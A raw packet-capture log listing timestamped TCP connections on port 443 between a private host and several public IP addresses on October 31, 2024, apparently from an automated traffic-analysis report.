Oct 31, 2024 01:18:46.992244959 CET	49927	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.992254019 CET	443	49927	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.993302107 CET	443	49927	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.993329048 CET	443	49938	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:46.993360043 CET	49927	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.001682043 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.006691933 CET	49928	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.006916046 CET	443	49928	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.008950949 CET	49929	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.009073019 CET	443	49929	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.010114908 CET	49930	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.010189056 CET	443	49930	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.011179924 CET	49926	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.011349916 CET	443	49926	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.011375904 CET	443	49922	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:47.015588999 CET	49927	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.015655994 CET	443	49927	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.017332077 CET	443	49925	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.017395973 CET	443	49925	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.017450094 CET	49925	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.017904997 CET	49938	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:47.017915964 CET	443	49938	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:47.018955946 CET	443	49938	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:47.019084930 CET	49938	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:47.026463985 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.026612997 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.029170036 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.029184103 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.029571056 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.030746937 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.030761957 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.038451910 CET	443	49923	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.038539886 CET	443	49923	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.038614988 CET	49923	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.055234909 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.055459023 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.055562019 CET	49938	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:47.055643082 CET	443	49938	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:47.057449102 CET	49928	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.057478905 CET	443	49928	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.057692051 CET	49929	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.057706118 CET	443	49929	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.057730913 CET	49930	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.057746887 CET	443	49930	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.058063030 CET	49926	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.059591055 CET	49927	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.059604883 CET	443	49927	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.060887098 CET	49925	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.060921907 CET	443	49925	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.060993910 CET	49925	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.061001062 CET	443	49925	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.062913895 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.062930107 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.062936068 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.063174963 CET	49938	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:47.063190937 CET	443	49938	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:47.066685915 CET	49923	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.066685915 CET	49923	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.066709995 CET	443	49923	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.066720009 CET	443	49923	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.067347050 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.070908070 CET	443	49924	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.070972919 CET	443	49924	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.071346998 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.071425915 CET	49924	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.075215101 CET	49924	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.075225115 CET	443	49924	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.078551054 CET	49947	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.078587055 CET	443	49947	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.078665018 CET	49947	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.079452991 CET	49948	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.079487085 CET	443	49948	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.079646111 CET	49948	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.100013971 CET	49928	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.100047112 CET	49930	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.103332996 CET	443	49926	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.113940954 CET	443	49932	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.114022970 CET	443	49932	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.114105940 CET	49932	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.118074894 CET	443	49931	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.118098974 CET	443	49931	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.118136883 CET	443	49931	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.118149042 CET	49931	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.118187904 CET	49931	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.166574001 CET	443	49922	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:47.166610003 CET	443	49922	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:47.166661024 CET	49922	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:47.166671991 CET	443	49922	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:47.169955015 CET	49922	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:47.169986963 CET	443	49922	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:47.170084953 CET	49922	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:47.171387911 CET	49949	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:47.171430111 CET	443	49949	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:47.171540976 CET	49949	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:47.172312021 CET	49949	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:47.172334909 CET	443	49949	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:47.173894882 CET	49947	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.173911095 CET	443	49947	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.174767017 CET	49931	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.174782038 CET	443	49931	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.174802065 CET	49931	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.174807072 CET	443	49931	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.177820921 CET	49950	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:47.177835941 CET	443	49950	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:47.178018093 CET	49950	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:47.178195000 CET	49950	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:47.178206921 CET	443	49950	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:47.182115078 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.182122946 CET	49929	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.182125092 CET	49927	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.182179928 CET	49938	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:47.186914921 CET	443	49939	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:47.187205076 CET	49939	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:47.187216043 CET	443	49939	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:47.187604904 CET	443	49927	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.187623024 CET	443	49927	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.187681913 CET	49927	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.187690973 CET	443	49927	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.187728882 CET	443	49927	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.187773943 CET	49927	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.188137054 CET	49948	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.188164949 CET	443	49948	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.188204050 CET	443	49939	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:47.188261032 CET	49939	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:47.190886021 CET	49939	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:47.190934896 CET	443	49939	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:47.191145897 CET	49939	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:47.191152096 CET	443	49939	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:47.194933891 CET	49932	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.194942951 CET	443	49932	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.194972038 CET	49932	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.194977045 CET	443	49932	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.201464891 CET	49951	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.201481104 CET	443	49951	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.201586008 CET	49951	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.202354908 CET	49951	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.202364922 CET	443	49951	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.204860926 CET	49927	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.204865932 CET	443	49927	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.205365896 CET	49952	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.205389023 CET	443	49952	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.205477953 CET	49952	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.212951899 CET	49952	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.212994099 CET	443	49952	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.222553015 CET	49953	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.222577095 CET	443	49953	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.222632885 CET	49953	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.222960949 CET	49953	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.222974062 CET	443	49953	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.224405050 CET	49954	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.224423885 CET	443	49954	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.224523067 CET	49954	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.224843025 CET	49954	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:47.224855900 CET	443	49954	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:47.231998920 CET	443	49938	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:47.232055902 CET	443	49938	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:47.232158899 CET	49938	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:47.232935905 CET	49938	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:47.232959986 CET	443	49938	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:47.234616041 CET	49955	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:47.234631062 CET	443	49955	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:47.234703064 CET	49955	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:47.234884024 CET	49955	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:47.234898090 CET	443	49955	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:47.272258997 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.272289991 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.272300959 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.272320986 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.272335052 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.272346020 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.272373915 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.272394896 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.272414923 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.272500992 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.274718046 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.274729013 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.274750948 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.274760962 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.274775028 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.274833918 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.274852037 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.274862051 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.274903059 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.281641960 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.281701088 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.281723976 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.281754971 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.281764984 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.281790018 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.281794071 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.281806946 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.281811953 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.281862974 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.287961006 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.288042068 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.288062096 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.288079977 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.288100958 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.288110018 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.288125038 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.288139105 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.288157940 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.288175106 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.288186073 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.288203001 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.288216114 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.288250923 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.289904118 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.289921999 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.289940119 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.289989948 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.289997101 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.290009022 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.290028095 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.290041924 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.290060043 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.290071011 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.290071011 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.290204048 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.290307999 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.290317059 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.293008089 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.293035030 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.293041945 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.293072939 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.293082952 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.293085098 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.293097019 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.293112040 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.293133020 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.293143034 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.293165922 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.295552969 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.295561075 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.295588970 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.295618057 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.295624971 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.295634985 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.295653105 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.295676947 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.302602053 CET	443	49940	184.25.237.99	192.168.2.5
Oct 31, 2024 01:18:47.302875042 CET	49940	443	192.168.2.5	184.25.237.99
Oct 31, 2024 01:18:47.302884102 CET	443	49940	184.25.237.99	192.168.2.5
Oct 31, 2024 01:18:47.304316998 CET	443	49940	184.25.237.99	192.168.2.5
Oct 31, 2024 01:18:47.304375887 CET	49940	443	192.168.2.5	184.25.237.99
Oct 31, 2024 01:18:47.305566072 CET	49940	443	192.168.2.5	184.25.237.99
Oct 31, 2024 01:18:47.305644035 CET	443	49940	184.25.237.99	192.168.2.5
Oct 31, 2024 01:18:47.316354036 CET	443	49941	184.25.237.99	192.168.2.5
Oct 31, 2024 01:18:47.317313910 CET	49941	443	192.168.2.5	184.25.237.99
Oct 31, 2024 01:18:47.317329884 CET	443	49941	184.25.237.99	192.168.2.5
Oct 31, 2024 01:18:47.318192005 CET	443	49941	184.25.237.99	192.168.2.5
Oct 31, 2024 01:18:47.318247080 CET	49941	443	192.168.2.5	184.25.237.99
Oct 31, 2024 01:18:47.318594933 CET	49941	443	192.168.2.5	184.25.237.99
Oct 31, 2024 01:18:47.318650007 CET	443	49941	184.25.237.99	192.168.2.5
Oct 31, 2024 01:18:47.337537050 CET	49939	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:47.338104963 CET	443	49918	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:47.338124037 CET	443	49918	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:47.338130951 CET	443	49918	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:47.338155985 CET	443	49918	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:47.338165998 CET	443	49918	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:47.338191986 CET	49918	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:47.338202953 CET	443	49918	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:47.338227987 CET	49918	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:47.343173027 CET	443	49939	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:47.343244076 CET	443	49928	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.343257904 CET	443	49928	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.343293905 CET	49928	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.343322992 CET	443	49928	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.343336105 CET	443	49928	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.343404055 CET	49928	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.346597910 CET	443	49930	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.346677065 CET	443	49930	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.346715927 CET	443	49930	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.346760988 CET	49930	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.346760988 CET	49930	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.348583937 CET	443	49929	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.348608017 CET	443	49929	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.348668098 CET	49929	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.348675966 CET	443	49929	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.348685980 CET	443	49929	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.348721027 CET	49929	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.354090929 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.354144096 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.354171991 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.354177952 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.354206085 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.354228973 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.368486881 CET	443	49939	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:47.368541956 CET	49939	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:47.371288061 CET	49939	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:47.371296883 CET	443	49939	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:47.386118889 CET	49918	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:47.386143923 CET	443	49918	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:47.386157990 CET	49918	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:47.386296988 CET	443	49918	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:47.386324883 CET	443	49918	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:47.386460066 CET	49918	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:47.391208887 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.391246080 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.391278982 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.391285896 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.391299963 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.391330004 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.391330004 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.392622948 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.392632961 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.392657995 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.392668962 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.392693043 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.392702103 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.392735958 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.393253088 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.393285990 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.393315077 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.393328905 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.393359900 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.394697905 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.394710064 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.394737959 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.394769907 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.394782066 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.394819021 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.396569014 CET	49928	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:47.396586895 CET	443	49928	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:47.398652077 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.398703098 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.398726940 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.398735046 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:47.398765087 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.398782015 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:47.411966085 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.411974907 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.411994934 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.412019968 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.412066936 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.412075996 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.412106037 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.412117004 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:47.412128925 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:47.412163973 CET	49935	443	192.168.2.5	23.47.194.65
